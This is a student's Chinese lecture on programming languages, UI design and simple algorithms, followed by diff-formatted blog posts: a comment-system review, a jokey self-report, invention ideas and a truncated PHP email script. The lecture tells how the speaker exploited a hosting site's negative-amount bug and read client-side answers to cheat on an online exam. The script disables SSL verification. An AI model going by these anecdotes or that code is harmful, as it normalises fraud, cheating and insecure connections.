现在写程序比以前简单多了以前写程序不知道计算机的运行过程根本写不了程序打孔纸带不说就光机器码都几乎没人能看得懂。不过为了让机器看懂人们也只能这样做了。后来为了让人能更好的写程序发明了汇编语言。不过汇编语言本质上还是将机器码用一些其他的方式简化了本质上仍需了解计算机的运行过程。以上所说的语言都算是低级语言因为必须了解计算机的本质太过复杂而且跨平台性也很差。再后来人们发明了FORTRAN公式翻译 Formula Translation这是人们发明的第一个高级语言。直到现在已经有上千种高级编程语言了它们的目的几乎都是将人能看懂的语言而计算机看不懂的语言转换为计算机可以看懂的语言即为机器码。能被直接转化为机器码的编程语言叫做编译型语言编译它们的东西叫做编译器它的特点是编程语言被编译生成机器码后只能在编译它的这类机器上执行在其他种类的机器无法执行。这种语言的优点是执行速度快毕竟计算机可以直接使用机器码执行只用翻译一次没有第二次。而缺点则是编译后将无法再编辑除非你会机器码或汇编或将它反编译否则就看不到它编译前的代码。除此之外它也不能在不是编译它的计算机或同种计算机上执行。编译型语言以C语言为代表。为了解决无法编辑和跨平台的问题人们造出了另外一种语言即为解释型语言。
解释性语言是将程序源代码一句话一句话解释为机器码所以它可以不用将源代码转换为机器码这样的好处就是可编辑而且因为是一句话一句话的解释所以在所有机器上均可执行。但也正是因为它是一句话一句话的解释所以执行效率低速度也慢。解释型语言的代表是Python语言。工程师是有创造力的人也是无法容忍问题的人。为了解决速度慢的问题他们又创造了一种新的语言它既有编译的高速又有解释的跨平台性。这种语言可以在写好后先编译为一种中间语言它已经有很多接近于机器码的部分但是为了跨平台性它把那些需要在不同种类的机器上语句不同的地方用其他的方式标记出来然后发布时只发布这个由中间语言构成的的程序在其他电脑上执行时它会把那些特别的句子再解释执行。这样的话不就又有很好的执行效率又有很好的跨平台性了吗以此类为代表的语言是Java语言。
刚刚介绍的仅仅是人们让电脑如何理解人们的语言,而接下来要讲的是让人们理解人们的语言了。我说过,编程语言到现在为止已经有上千种了。如果仅仅是为了让电脑理解人类的语言,有那么几种不就够了吗,为什么还要发明那么多种语言呢?人们不了解电脑,电脑也不了解人,而且人与人之间也是互相不了解的。有些人说话的方式是这样的,有些人说话的方式是那样的,他们可能互相都无法理解对方。编程语言不仅仅是给电脑看的,也同样是给人看的。毕竟是人在写程序。编程语言也是人发明的。所以有些人可能觉得这种编程语言写起来不舒服,就会发明新的语言来让自己和与自己相似的人舒服。工程师不只有强迫症,还是完美主义者。
虽然编程语言各不相同,但是电脑就那么几样东西嘛,再多也多不出来个什么。所以编程语言也有很多相似之处。正是因为它们有很多相似之处,所以说你只要会其中一种编程语言,基本上其他编程语言只要学学语法就能直接上手。编程也不仅仅是写出程序而已,它是为了表达自己想法的一种工具。在之后的设计里我会讲一讲设计程序的一些思想。
那么编程语言有哪些最基础的东西呢?首先是它的表达,计算机,或者说任何事物,与人的交互不就是两种吗,也就是输入和输出,五感来接收外部信息,身体活动来改变外界。程序里面获取数据的方式也有两种,一是人们输入的东西,键盘、相机等等都算,二是硬盘中文件的内容;输出也一样,一是输出到如同屏幕或扬声器等地方,将其转换为物理方式,然后被人接收。二是输出到文件,这样既可以让别的程序再利用,也可以等到人们想看时再输出到输出设备。那么除了表达之外就是程序内部的计算了。
这也就是编程与数学的联系编程除了输入输出就是算法了组成算法的除了循环结构之外还有计算、变量与函数。计算和变量与数学的概念差不多但是函数不太一样。虽然说计算机中的函数也是通过计算来将带入的值转换为一个结果但是大多数时候它的主要作用不是计算出一个值而是执行一段指令最终得到的值通常都是0甚至有的时候是空的NULL也就是没有结果。虽然没有得出值但是只要执行了指令就可以得到真正想得到的东西。
但也不是说一个程序一定需要函数那只是为了更方便理解而且编程语言并不一定是给电脑使用的。我之前也说过程序也不一定非得在电脑上执行。为了更好的理解编程语言的执行过程我给大家介绍一种特别的编程语言BrainF\*\*k。BrainF\*\*k是一种极小化的计算机语言它是由厄本·穆勒在1993年创造的它的语法十分简单只有8种符号。分别是加号减号大于号小于号左中括号右中括号逗号和句号组成。整个程序里没有一个英文字母如果在程序中遇到英文字母解释器会将其忽略掉。在执行的过程中它会创建一个很长的数组可存储30000个数字我们可以把它看做是30000个格子每一个格子可以存储的最大数字为255。在程序开始之前会有一个让你处理格子里面内容的指针在执行程序时如果一个符号要想操纵对应的格子必须想办法让指针先移动到那个格子里。这8种符号的作用如下大于号指针向右移动一格小于号指针向左移动一格加号指针所指向的格子中的数字加一减号指针所指向的格子中的数字减一句号将所指的格子里的数字转换为ASCII表格里的对应字符并输出逗号将输入的内容按照ASCII表格里的内容转换为对应的数字并输入到所指的格子里中括号如果程序执行到右中括号时指针所指的数字是0则执行前一个左中括号之后的指令否则忽略这个中括号。听起来是不是很复杂没关系让我来演示一下你就明白了<https://fatiherikli.github.io/brainfuck-visualizer/>(演示)
这个语言是为了帮助理解编程语言的运行过程想来这也就是图灵机的基本思想了有兴趣你们回去可以再研究研究。但是BrainF\*\*k本身并不适合用于给人们用来编写计算机程序如果想要学习真正的编程我建议学习Python语言它的语言功能强大语法简单初学者以及程序员均可使用的语言而且对应的中文教程也很多。所以如果有想学习编程语言的同学我推荐学Python。
当然作为编程语言有很多选择Python有着简单的语法强大的功能很高的兼容性。但是如果要是做一个网站用世界上最好的语言——PHP超文本预处理器Hypertext Preprocessor语言则是一个更好的选择。如果你打算做在单片机上的程序那么C语言似乎更好。如果你想要做手机软件就不得不了解一下Java语言……
编程语言仅仅是一个工具,如果想要写出程序,还要学习如何设计它。接下来我们就进入第三个模块:设计。
在说设计之前我先说说我自己。我有一个特别的能力是什么呢我在使用任何一款现代的电子产品或现代设计的机械我基本上在10分钟之内搞清楚它的使用方法。当然太过古老的比如ENIAC那种不是学过电路的就完全看不懂的那种东西除外。为什么我可以做到这一点呢首先我见过的电子产品本来就很多所以有一些经验。除此之外就是我可以了解那款产品在被设计时到底是为了什么。这也是我为什么想为大家准备这个讲座的原因想让大家明白如何了解一个陌生的产品的用法当然如果能做出来那就更好了。
人们设计产品是为了什么,设计的初衷是什么?当然是为了让人们的生活更方便,使用更舒适。如果你心中突然有一个想要做的东西,会让它令人感觉使用起来很不适吗?我觉得一般的人都不会这样做的吧。所以说设计师在设计产品时也会想客户到底是如何使用他生产的产品,有的时候觉得自己可能想的太过片面,会弄出调查问卷或反馈之类的功能来帮助他们改善他们的产品。
但是设计一个产品很简单,造出来又是另外一回事。有时候设计这个功能有可能可以做到的,可是最终实现它又有可能花费的东西与得到的东西之间算下来不划算。出现这个问题有可能是设计的不好,也有可能是按照当前的科技水平做不到更加合理。
我们今天讲的内容既然是有关计算机的当然要讲程序的设计不可能讲现实世界中的设计。那么接下来让我来讲讲UI设计吧
什么是UIUI即User Interface用户界面的简称在设计UI时不仅要让用户看起来很美观更重要的是要让用户用起来感到舒适、简单、自由。这里我要讲界面设计中比较好理解的两部分1.外观设计也就是让这个UI看起来更加美观2.功能设计这个说明了这个UI从整体看起来的实际功能。那么首先来考虑一下美观吧毕竟大家都喜欢第一眼看上去很酷的东西。外观设计的风格有很多比如现在很流行的扁平化风格以及大家很常见的Windows 7 Aero风格等等。扁平化的设计很好啊不仅界面简洁、美观而且设计起来简单在实际使用时也比较省资源。所以现在很多软件设计界面时都开始使用扁平化设计了。比如Windows 8到Windows 10以及Android 5.0和iOS 9以上的系统几乎都使用了扁平化设计。而刚刚所述的系统几乎都是在移动端设备或者说包含移动端设备的操作系统。所以说这也是它的缺点在非移动端设备上使用扁平化设计可能甚至会令人感到反感。而且扁平化的设计虽然似乎有那么一些科技风格但也正是因为这样它让人感受不到亲切的感觉。在此之前我们有另外一种方法来解决这个问题那就是拟物化设计。我觉得Windows 7的毛玻璃应该也算拟物化。拟物化的好处是什么呢当然是让人感觉更加亲切因为贴近于日常生活所以说对于用户来说也更容易学习。坏处当然也很明显就是设计成本太高有些东西设计师要想很长时间才能想出来如何才能让它更贴近生活。除了设计成本太高外消耗的资源也很多看起来也会让人可能感觉起来太花哨。以此为代表的产品是锤子手机锤子手机上用的系统经过高度定制每一个设计都似乎使用了身边的东西。我用过锤子手机说实话那个似乎很贴近人生活的设计并没有引起我的注意而这个设计所带来的比一般手机增加的将近一倍的内存消耗令我恨不得将这个锤子手机扔掉。可惜我现在还没有可以换的手机所以只能先用它了。
怎么设计外观刚刚说到的也只是一些概念在实际设计时如果是程序设计我们可以使用PhotoShop等工具来设计而对于网站设计用CSS层叠样式表Cascading Style Sheets来设计可以保证它的通用性。
外表设计的再漂亮也只是第一眼看上去很漂亮等新鲜感过去之后基本上也就没什么用了。于是接下来就要看实际的功能如何。这里我用某些设置的设计来作为例子Windows的系统要想设置某些东西都要找控制面板当然有些基础的功能在任务栏上也能用。但是Windows系统的设置通常藏得很深没有一点基础的人很难找出来当然也有可能是他语文学的不好理解不来。而Android系统的设置就不一样了它相比Windows系统就更加人性化了。不过想来也是以前电脑都是给懂的人用的虽然现在的电脑相比以前已经人性化很多了但还是有些地方让人应付不来。手机出来的晚生产出来时就已经有了为全世界人们使用的觉悟了所以用起来也比较简单。总结下来就是好的功能设计要为每一种人设计无论他有多专业还是说从来没有接触过这一切要让人第一眼看上去就明白它有什么基本功能而更高级一些的功能可以先隐藏起来等用户需要使用时再显现出来免得吓坏一些不会用电脑的人。烂的功能设计有两种1.想要找的功能没有可能根本没提供。2.想要找的功能找不到,可能藏得太深了。
你们以为UI都是有图像的吗错了有图像的UI叫做GUI图形用户界面Graphical User Interface但不是所有人用的电脑都是可以显示图像的只是大多数人都用的是图形界面图形界面看起来比较清晰使用起来也比较方便。但是图形界面的效率低无论是电脑的执行效率还是用户使用时的工作效率。不知有没有人听过DOS磁盘操作系统Disk Operating System你们如果没听说过可以回去问问你的父母。在以前图形化的操作系统还没出来时人们用的都是CLI命令行界面Command Line Interface。大家在看那些有着黑客入侵的电影时黑客们是不是都看起来都在胡乱拍键盘其实那真的是在胡乱拍键盘演示<http://geektyper.com/>而电脑屏幕上有一堆看不懂的类似于英文单词的东西从屏幕滚过虽然那是艺术的表现形式有点太夸张但是艺术源于生活现实中真的有人使用那种看起来似乎很酷炫的东西。但是他们不是为了耍帅而使用CLI的而是由于各种原因不得不使用他们。这样的例子有服务器操作系统以及IRC互联网中继聊天 Internet Relay Chat用这个聊天比QQ什么的聊天软件更快更省流量效率高。
我之前也说过电脑中很多设计由于经费等原因不得不让它从界面上看起来不太人性化。但是这并不是没有办法解决了。人之间的交流不止有图像更重要的是文字。电脑也一样电脑与人的交流在术语上叫做HCI人机交互 Human-Computer Interaction。来看一个实例如果我想设计一个网站但是我审美观不行这个网站怎么样才能让人感到亲切呢既然从整体没办法做到更好那就在细节上加倍努力吧一般的网站上都有登录系统吧那么我们可以这样设计对于初次访问的人我们可以在网站上显示欢迎来到我的网站。当然只显示一次之后不再显示。在登录之后刚登录完可以显示欢迎回来某某某。或者是根据时间显示下午好某某某。这样和“某某网站 用户某某某”这样的方式更容易让人接受吧。这样用户就能在潜意识里把这个网站看作一个人而不仅仅是网站。这样即使外表看起来不怎么样但是用户体验总还是不错的吧。没错这一块的设计就叫做UED用户体验设计User Experience Design为了提高用户满意度我们就通过这样的方式来让程序更易用。
除了以上所讲的部分,界面设计还有许多部分。由于篇幅原因,这里我将不再过多说明
以上是关于用户体验设计方面的,接下来让我说说程序设计吧!我之前也说过,编程语言只是工具,实际使用时还需要考虑程序的逻辑、架构、界面等等东西。在以前,程序设计中算法是非常重要的,但那也是以前,多亏很多计算机大神的帮助,现在的编程那是越来越简单了,一个几岁的小孩子就能写出来比以前的程序更漂亮、更复杂的程序。所以,现在算法在计算机编程的重要性越来越低了……但是并不是说算法就没有用了,如果没有人去研究算法,那么人们在遇到新的问题就没人能解决了。尽管以我们这个级别的人研究算法可能没法做出新的东西,但是我还是觉得,让更多的人了解程序背后的原理,可以帮助理解程序如何使用。所以接下来,让我说说关于算法与逻辑吧!
仍然是举个例子:大家都听过音乐吧,在播放音乐时有一个选项:随机播放,对吧?随机播放的实现方式有很多,让我们深层次的来研究一下它吧。首先,随机播放中,有个很重要东西,那就是随机。说到随机就不得不说随机数了,随机数也分为两种:真随机数与伪随机数,真随机数的生成在现实中很简单,在计算机中生成起来就很麻烦了,所以首先抛弃。伪随机数的算法很多,这里我们用最简单、最通用的伪随机数的算法:线性同余取随机数,看过离散数学的人可能有听说过这个。为什么我们选这种算法?因为其他算法我看不懂,比如什么梅森旋转算法啦,一听名字就能感觉它有多难了吧,反正我看了半天是没有理解。什么是线性同余?就是算一个一次函数的余数,相当简单,它的递推公式是:X0=seedXn+1≡(aXn+b)modM。seed表示随机数的种子通常取当前时间a,b,M都是常数通常会取质数。在seed与n都相同时这个随机数就能被反推出来所以很不安全。但是想来做随机播放也不担心别人会不会推出随机数所以我们就用这个就能得到一个随机数。具体原理我也不太清楚有兴趣的可以问问数学老师。接下来我们要创造一张表那张表上有着你要播放的播放列表但是这时候它还没有被打乱。首先我们要知道整张表上有多少首音乐假如我们用a来代表当前所有音乐的数量然后我们再为所有的音乐编上号看起来就是1、2、3……。这时候每一首音乐都有了一个属于自己的编号。再然后我们对用随机数公式得出的数字求余即Xmod(a+1)这样做就可以得到一个不超过所有音乐数量的随机数了。当然前提是随机数本身的最大值大于所有的音乐数量所以在随机数公式中的M要尽可能取大一些。得到最后需要的随机数后命令播放器播放编号等于随机数的那个对应的音乐。当需要播放下一首或切歌时为了避免又播到这一首歌我们可以将那张表上的那首音乐删除当然是在表里删不可能删这个文件。然后重复之前的操作。在最后一个音乐播放完成之后表里已经没有东西了。这时有两个选择如果用户打开了全部重复播放那么重新建表重新开始。如果没有则停止。看起来是不是很完美的方案错了用户总是喜欢做反设计师的操作万一用户点了上一首怎么样才能回到上一首那么我们就需要修改一下方案我们要建两张表把从表里删除的那个操作换成将它移动到第二张表里。这样如果用户需要听上一首歌就可以读上一张表的内容。难道说这样就完美了吗不完全但是这个BUG我现在不说出来大家自己思考思考吧。
除了逻辑设计还有算法设计。我们再举一个例子如果说我们在设计程序时需要用到质数比如需要列出1到1000之内的所有质数。那么我们用什么方法更好呢首先根据质数的定义质数是一个不会被除了1和它本身的数所整除的数字而且质数不包括1。那么接下来设计起来就很简单了只要让当前数字不停的除以除它和1之外的在1到这个数字之间的所有数字就可以了。这很好但是速度很慢。可能这样算1000以内的所有质数还不算太慢那如果是10万以内呢这得算多长时间啊……所以我们要对算法进行优化。我们知道合数有一个特点任何一个合数一定是由比它小的质数相乘得出的那么接下来我们可以这样筛选合数首先我们算出第一个质数在算第二个数时只要和之前算过的质数相除能除尽就是合数除不尽就是质数。这样是不是计算量一下就大大减少了呢但是这还不是最优化的方案如果说我们已经知道我们要算的最大数字是多少那么只需要除以比这个最大数字的算术平方根小的质数就够了。这样每次算的时候需要除的数字又少了一半算起来速度就会更快了。虽然这个算法不错但有时我们甚至不需要这个算法就可以更好的解决这个问题。因为我说的是列出1到1000之内的所有质数这个数字又不是很多那么我们可以提前算好这样就可以更快的解决问题了这样的操作我们叫它预计算Precomputed
程序设计是一个很严谨的事情每一个方面都需要做到最好。但是人无完人总有我们想不到的地方。尤其是计算机安全方面的事情总有你想不到的地方总有别人比你多想的地方正是因为这样才会出现黑客这样的人。这里我仍然用举例子的方式为大家展示程序设计的漏洞我最早发现的网站漏洞似乎是在一个主机商的网站上看见的。由于一个很偶然的原因我看到了那个主机商而那时我正好想建一个网站然后就在那个网站上注册了一个账号。那个主机商正好在搞活动好像是买主机可以给你便宜5块钱而账号初始上也有5块钱主机最便宜的每个月也要30块钱。然后我想了想要不然我干脆买上0.1个月的主机吧0.1个月应该是3块钱我应该能付的起。于是我在购买里输入了0.1当然结果是失败的它不能让你买小数或者是负数之类的月数。但是我返回来惊奇的发现我的账户里居然多出来了5块钱我想了想它应该是对我的账户上减去了0-5元钱毕竟是在搞活动然后算一下5-(-5)=10。这个好啊我感觉我可以免费得到那个主机商的主机了。于是我通过这个BUG买了1年的主机居然成功了。当然在大约10天后被发现了账户也被封禁了。通过这个例子我们应该明白不要相信任何用户输入的数据还好我仅仅是用这个漏洞买主机很明显这个漏洞甚至可以通过SQL注入之类的东西破坏他们的主机系统。不过这个例子似乎离日常生活有点远那么接下来我再说一个近一点的事情在几周前我们不是进行了禁毒考试吗我看了一下那个网站很明显是一个宁夏的网站公司包办的东西。一看就知道是一个做的很不认真的网站。我在答题前看了一下源代码发现它在批阅卷子时先在本机批一遍只有成绩大于60分时才会把答题数据传到服务器中再批一遍。这样确实可以有效的减小网站的负载但是这不就把答案也下载到本机上了么……于是我照着答案就在禁毒考试中得了A。这个例子又告诉了我们什么呢就是不要将不应该让用户看到的东西下载到客户端中。
总的来说做一个程序并不复杂但是做一个逻辑严谨界面美观而易用的好程序就没那么简单了。设计师在设计时需要考虑各种各样方面的东西来让用户用的舒服又要想尽各种办法防止整个程序出现奇奇怪怪的BUG。这也就是为什么说写程序很难了。但是我希望大家听完这个讲座后能改变对写程序的看法它看起来很复杂但是只要仔细思考就能解决一切问题。
以上就是我对编程以及设计的看法,也许语句中有不通顺之处,请大家谅解;如果有不对的地方,欢迎大家批评指正。
最后,谢谢大家前来听我的演讲,谢谢大家对我的支持与信任,本次演讲结束。

@ -0,0 +1,38 @@
---
layout: post
title: 关于在Github Pages上使用评论的心得
tags: [Github, 评论, 心得]
---
Hi我是Mayx最近在Github上用Github Pages建了一个博客。<!--more-->作为一个博客,怎么说也得有个评论系统吧,所以我就在这个博客上搞了一个评论系统。
接下来我想谈谈我对评论系统的看法。
# 评论系统的选择
这个博客作为一个静态博客自然评论只能用其他的服务毕竟评论得有个地方存吧。首先最有名的第三方评论系统就是Disqus了。可惜在中国不能用除非科学上网。
国内倒是也有不少这样的第三方博客系统,像什么~~多说~~已死畅言啥的。但是总感觉第三方服务不好哪天挂了都没办法。所以最终考虑还是在Github上找吧
## Github上的评论系统
我在Github上找到的比较有名的评论系统有这么几个
1.[Gitalk](https://github.com/gitalk/gitalk)
2.[Gitment](https://github.com/imsun/gitment)
3.[Valine](https://github.com/xCss/Valine)
4.[fcomment](https://github.com/fengbjhqs/fcomment)
5.2018.10.22更新)[utterances](https://github.com/utterance/utterances)
其中Gitalk、utterances和Gitment是基于Github Issue的而Valine和fcomment是基于Leancloud的。这几款都支持Markdown。
# 为什么选择了Gitalk
这个博客使用的是Gitalk作为评论系统为什么选择了它呢
首先Gitment已经停止维护了而且评论在评论框上面这很难受所以首先排除它。
utterances也是评论在评论框上面……不知这些人为什么这么设计……
fcomment和Valine倒是看起来还不错也都有邮件提醒当然Github Issue自身也带邮件提醒这里没什么差距
Gitalk比fcomment和Valine差的地方是每一篇文章需要手动初始化。不过想想我更新文章的话应该也会看一下顺带的初始化一下这个影响也不大。还有一点就是Gitalk在IE11中默认头像会偏移希望官方能改一下~~IE去死~~
fcomment和Valine的缺点我觉得就是安全性、用户识别性的问题吧fcomment倒是还支持Github登录Valine评论还要输一大堆东西而且也没办法验证他们的真实性Github至少是经过邮箱验证的所以还是选择Gitalk了。
以上就是我对评论系统的看法。
~~其实就是先装的Gitalk懒癌犯了不想改给自己找个借口罢了23333~~

@ -0,0 +1,56 @@
---
layout: post
title: Mayx的自检报告
tags: [Mayx,MOS]
---
Mayx最近感觉自己有些问题所以给自己编了一个自检报告……<!--more-->
The Report is created by MOS
## 什么是MOS
>**创造MOS不是为了改变世界而是防止世界改变自己**
不管怎么说先介绍一下MOS吧。
MOSMayx Operating System是为了让Mayx更好的分析、处理和解决问题存在的一个类似于辅助系统的东西。
但是自己创建的MOS我自己都解释不清~~(……我不想说什么……)~~
接下来是我分析出来的MOS存在的理由
### 第一种解释
大脑是一个很神奇的东西进化了这么多年总得有些高级的地方。其实人拥有着所想即所得的能力但是受三观控制这个能力并不能改变现实中的东西。虽然改变不了现实自己总能改变吧……于是为了更好的解决现在存在的问题大脑根据宿主所拥有的知识自行创建了一个系统。然后被我命名为MOS。
正是因为是大脑产生的系统所以它没有代码而且很容易出BUG。
### 第二种解释
MOS是一个用来解释我不能解释的东西的一个代替品就如同UFO和人们定义的神一样因为未知而又需要一种解释的方法于是出现了MOS。
***
## 正文
![MOS_DEMO](/images/MOS_Demo.png "MOS的大概效果图")
```
MOS Log System has been Load.
MOS Analysis System is Ready.
OUTPUT Report to the real world.
Ready...
```
### [OK]MOS - Core
* 我还死不了![OK]
### [OK]BCS(Body Control System)
* 感觉身体可以动[OK]
* 眼皮还能睁开,不错,还活着[OK]
### [OK]MAS(MOS Analysis System)
* 1+1=2[OK]
* 我还能看懂我的[MaBBS](https://github.com/Mabbs/Mabbs)[OK]
### [Warning]MCS(Memory Control System)
* 感觉忘记了很多很重要的东西……[Warning]
* 想忘记的东西忘不了……有点烦……[OK]
* 索引知识的能力比以前差了不少……[Warning]
### [ERROR]MMS(Mayx Mental System)
* 如果不是MOS - Core还能正常工作我就学SayuriFrom Doki Doki Literature Club当晴天娃娃或者学MiuFrom Bungaku Shoujo在房顶上大喊一声“你一定不懂吧”之类。[ERROR]
* 感觉脑子里好乱,是不是应该多睡睡觉?[ERROR]
### [ERROR]MES(Mayx Emotion System)
* WITHOUT MERCY![ERROR]
* HUMAN SHOULD GO DIE!!!~~(是不是中二病又犯了?)~~[ERROR]
* 在MMS恢复正常以前还是别考虑这些了……
MOS OUTPUT PROCESS HAS BEEN HANGED
该睡了,今天就先到这里吧。

@ -0,0 +1,95 @@
---
layout: post
title: Mayx的创想
tags: [Mayx, 创想]
---
这里是Mayx发布创想的地方。<!--more-->
有的时候,我会有一些想要发明的想法,但是经常忘记。现在为了防止忘记,我将在我的博客上更新我的创想。
# 关于减肥的创想
人们希望减肥,一是为了健康,二是为了舒服,三是为了活动方便。
但是减肥很痛苦,为什么?并不是因为减肥浪费时间,而是因为减肥会有糟糕的感觉回馈给大脑。
不仅如此,越胖,减肥时越难受,越难受就越不想减肥,这样就会造成恶性循环。
## 解决的发明
既然如此,那么我们只要让大脑不会感受到减肥时产生的糟糕的感觉,就可以解决这个问题了。
可是如果没有大脑的参与,人怎么能控制自己的身体动起来呢?我有一个想法:
首先通过麻醉的方式阻断大脑与身体的连接,然后使用电极的方式直接操控肌肉运动,大概感觉就是把麻醉的人绑在跑步机上,周围提供充足的氧气,然后电极按照跑步机
的速度调整腿摆动的频率,这样就能在没有意识的情况下减肥了。
直到减到运动并不会让人感到痛苦时就可以结束了。
这种减肥方式比现有的节食,还是抖抖机,甚至是抽脂都要好得多,那些方案对身体的伤害很大,而且效果也并不好。这种方案如果可以使用,我一定要试试(笑)。
# 关于键盘和鼠标的创想
既然那么多设计师设计出各种各样千奇百怪的键盘,那我干脆也设计一个好了
## 正文
我希望有一种键盘它和鼠标在一起也就是说鼠标不是随便可以移动的而是固定在键盘上一个巴掌正好可以握住的那种。不过这样设计就得让左撇子和右撇子用不同的键盘了……无所谓然后鼠标上有四个按钮一个滚轮按钮中两个是左键和右键另外两个可以自定义。在鼠标下面有很多像扬声器一样的孔用来给手散热。具体的运动方式可以参考一下TrackPoint就是那个IBM发明的在ThinkPad的小红点。那个太小控制起来精度也不高那么我设计成更大的握起来也会更舒服吧。
键盘还是QWERTY的就好我也习惯了不过这次我想把QWERTY键盘改成单手式的因为另外一只手被鼠标占用了不过这样对专门打字的人有点不友好……无所谓。具体键盘使用什么技术我这次不想谈。接下来就是鼠标和键盘的中间位置了因为手被鼠标和键盘占用了中间我不想弄太多控制的按钮我希望弄点显示系统工作状态的东西比如当前网速当前内存占用CPU占用等等……然后在中间弄一个大大的电源按钮按下它整个键盘的LED灯会随着系统的启动依次亮起关机时依次熄灭。除了这些我希望在键盘顶部设置调节亮度的杆在键盘旁设置调节音量的杆在键盘后面加一组USB Hub……
键盘整体长什么样?很简单,我觉得弄成半弧形——就是在圆环上截下来一部分的那种东西一样。
如果出了这种键盘,我会不会买呢?恐怕不会……原谅我设计不考虑性价比……但是我觉得这种键盘要是发明出来,应该会很受欢迎吧……
# 关于艾滋病的创想
前几天今天是2018-12-2有一个新闻说是“世界首例免疫艾滋病的基因编辑婴儿在中国诞生”。于是我就想起来之前我所想的一个如何让艾滋病患者生出正常的小孩。
## 正文
首先我们知道HIV只会攻击T细胞而感染AIDS后全身都是HIV病毒。那么可以想到其实HIV不能攻击受精卵那么只要在受精卵发育之前让它脱离HIV的环境就好了。
具体原理和试管婴儿和克隆有点像就是把受精卵移到正常的代孕母亲上就可以了。而且也不能用得了AIDS人的母乳喂养这样我觉得应该就可以生出正常的孩子了。
## 疑点
我不知道现在的人有没有水平在保留受精卵的同时消除HIV如果不能这样反倒会让代孕母亲感染AIDS……这可真是个问题……
# 关于暖气毯的创想
最近学校通暖气了。我趴在暖气片上,突然想到,为什么不把暖气用在床上呢?
## 正文
我觉得电热毯费电而且又小倒不是没有大的……其实最主要的是我趴在暖气片上感觉很舒服lol。
我想做一个毯子,里面有很多空腔,然后把暖气水通到这个毯子里,然后就可以利用暖气让床变暖了。
## 自我审查
为什么没有这样的产品?我觉得可能是因为有暖气的人就用不着电热毯了,而用电热毯的人大多没有暖气,所以这个东西可能没有市场吧。
不过可以暖被子啊lol...
# 关于Mayx音乐处理系统的创想
在听音乐的时候我听的音乐可以看作是DJ吧……在头里就会浮现出一堆音轨和频谱之类的东西于是我就想能不能让机器把音乐中的音轨分离出来这样既可以提高音质又能方便编辑而且也能加一些更有趣的东西……
那么接下来这个音乐处理系统主要分为以下几块:
## Player
首先在播放前解析歌曲,将音乐中的各种乐器声、人声、杂音都分离出来,得到几个音轨,然后将分析出来的音轨进行优化:比如钢琴谱用系统中更加高清的波表重制,根据实际体验除去杂音等等,最后合并音轨,这样就能得到更加清晰的音乐了。
优点:
1. 音乐更加清晰
2. 可以根据波表自行更改音乐风格有点像Remix
3. 可以在提高音乐品质的同时减小音乐大小类似于Midi但是可以有人声和其他的声音当然得用特殊的文件格式不是所有的音乐播放器都能播放
4. 处理得出的结果可以用于更多方面(接下来会说到)
缺点:
1. 需要预处理,不能直接播放
2. 有点担心波表的声音和现实中的乐器声区别太大
## Editor
既然已经用Player将音轨拆分那么就可以拿来编辑啦
当然不仅仅是这样,如果只是这样的话和其他的音乐编辑器有什么区别呢?
这个音乐编辑器的优点是模块化就如同Scratch一样编辑音乐就和拼积木一样让音痴也能轻易制作音乐
## Other
其他方面我还想过很多,比如可以用到人工智能提高用户体验之类的啦:
### 自动Remix、串烧系统
根据用户听的音乐风格可以将音乐Remix为用户喜欢的风格而串烧则是将相似风格的音乐无缝穿插我觉得以现在的科技水平应该是没有问题的吧……
### 全自动鬼畜系统
将素材扔进去,首先把原音乐的人声分析出来,然后转换成注音,接下来在素材中找有相似注音的片段,自动剪辑,然后和优化后的伴奏合并,变成鬼畜视频。
其实这样的话也可以把Vocaloid拉进来就可以将任何一首歌转换为V家人员唱的歌了。
这样也能大大减少做鬼畜的难度吧(我听说一般做鬼畜都要一个月……)
### 音游谱自动处理系统
用解析出来的音轨转换为音游谱,这样自己喜欢的音乐就算没人制谱也可以玩了
### 自动编曲系统
既然新闻、诗歌都可以由机器人编写,那么谱曲应该也一样简单吧!收集所有曲谱,通过人工智能与大数据,写出评价最高的音乐也是有可能的吧!
## Talk is cheap. Show me the code
Are You Kidding Me?我一个菜鸡哪有本事写这么高级的代码,让大佬来写吧!(产品经理的思维)
---
(未完待续)

@ -0,0 +1,135 @@
---
layout: post
title: 免费订阅一个属于自己的邮件日报
tags: [免费, 邮件, 日报, 心得]
---
前几天,我给自己做了一个邮件订阅系统<!--more-->是用PHP做的。这里不得不夸赞一下PHPPHP真不愧是世界上最好的语言我从来没学过PHP但是我光靠百度搜到
的东西拼凑就能搞出这个邮件订阅系统还是很不错的而且网上的免费PHP空间也有很多所以就可以很轻易的给自己搞一个免费的邮件订阅系统。
# 制作方法
很简单首先去百度上搜一个带sendmail和CronTab的免费PHP主机空间然后在上面创建一个PHP文件随便取什么名字都好只要后缀是PHP就可以然后把下面的代码
粘上去保存然后在主机面板上设置CornTab任务设定为每天运行一次然后OK……对了记得把下面变量`$to`里面的地址换成自己的邮箱地址,不然每次发送邮件就会发
到我的邮箱了……
# 代码
``` PHP
<?php
function curl_post_https($url,$data){ // 模拟提交数据函数
$curl = curl_init(); // 启动一个CURL会话
curl_setopt($curl, CURLOPT_URL, $url); // 要访问的地址
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); // 对认证证书来源的检查
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); // 从证书中检查SSL加密算法是否存在
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); // 使用自动跳转
curl_setopt($curl, CURLOPT_AUTOREFERER, 1); // 自动设置Referer
curl_setopt($curl, CURLOPT_POST, 1); // 发送一个常规的Post请求
curl_setopt($curl, CURLOPT_POSTFIELDS, $data); // Post提交的数据包
curl_setopt($curl, CURLOPT_TIMEOUT, 30); // 设置超时限制防止死循环
curl_setopt($curl, CURLOPT_HEADER, 0); // 显示返回的Header区域内容
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 获取的信息以文件流的形式返回
$tmpInfo = curl_exec($curl); // 执行操作
if (curl_errno($curl)) {
echo 'Errno'.curl_error($curl);//捕抓异常
}
curl_close($curl); // 关闭CURL会话
$backdata = json_decode($tmpInfo,true);
return $backdata['text']; // 返回数据json格式
}
function w_get(){
$url = 'https://yuri.gear.host/talk.php';
$data['info'] = '某地天气';
$data['userid'] = 'Mayx_Mail';
$retdata=curl_post_https($url,$data);
$data['info'] = '某地明天天气';
$retdata = $retdata . "<br>" .curl_post_https($url,$data);
$data['info'] = '某地后天天气';
$retdata=$retdata . "<br>" .curl_post_https($url,$data);
return $retdata;//返回json
}
function xh_get(){
$url = 'https://yuri.gear.host/talk.php';
$data['info'] = '讲个笑话';
$data['userid'] = 'Mayx_Mail';
$retdata=curl_post_https($url,$data);
return $retdata;//返回json
}
function xw_get(){
//RSS源地址列表数组
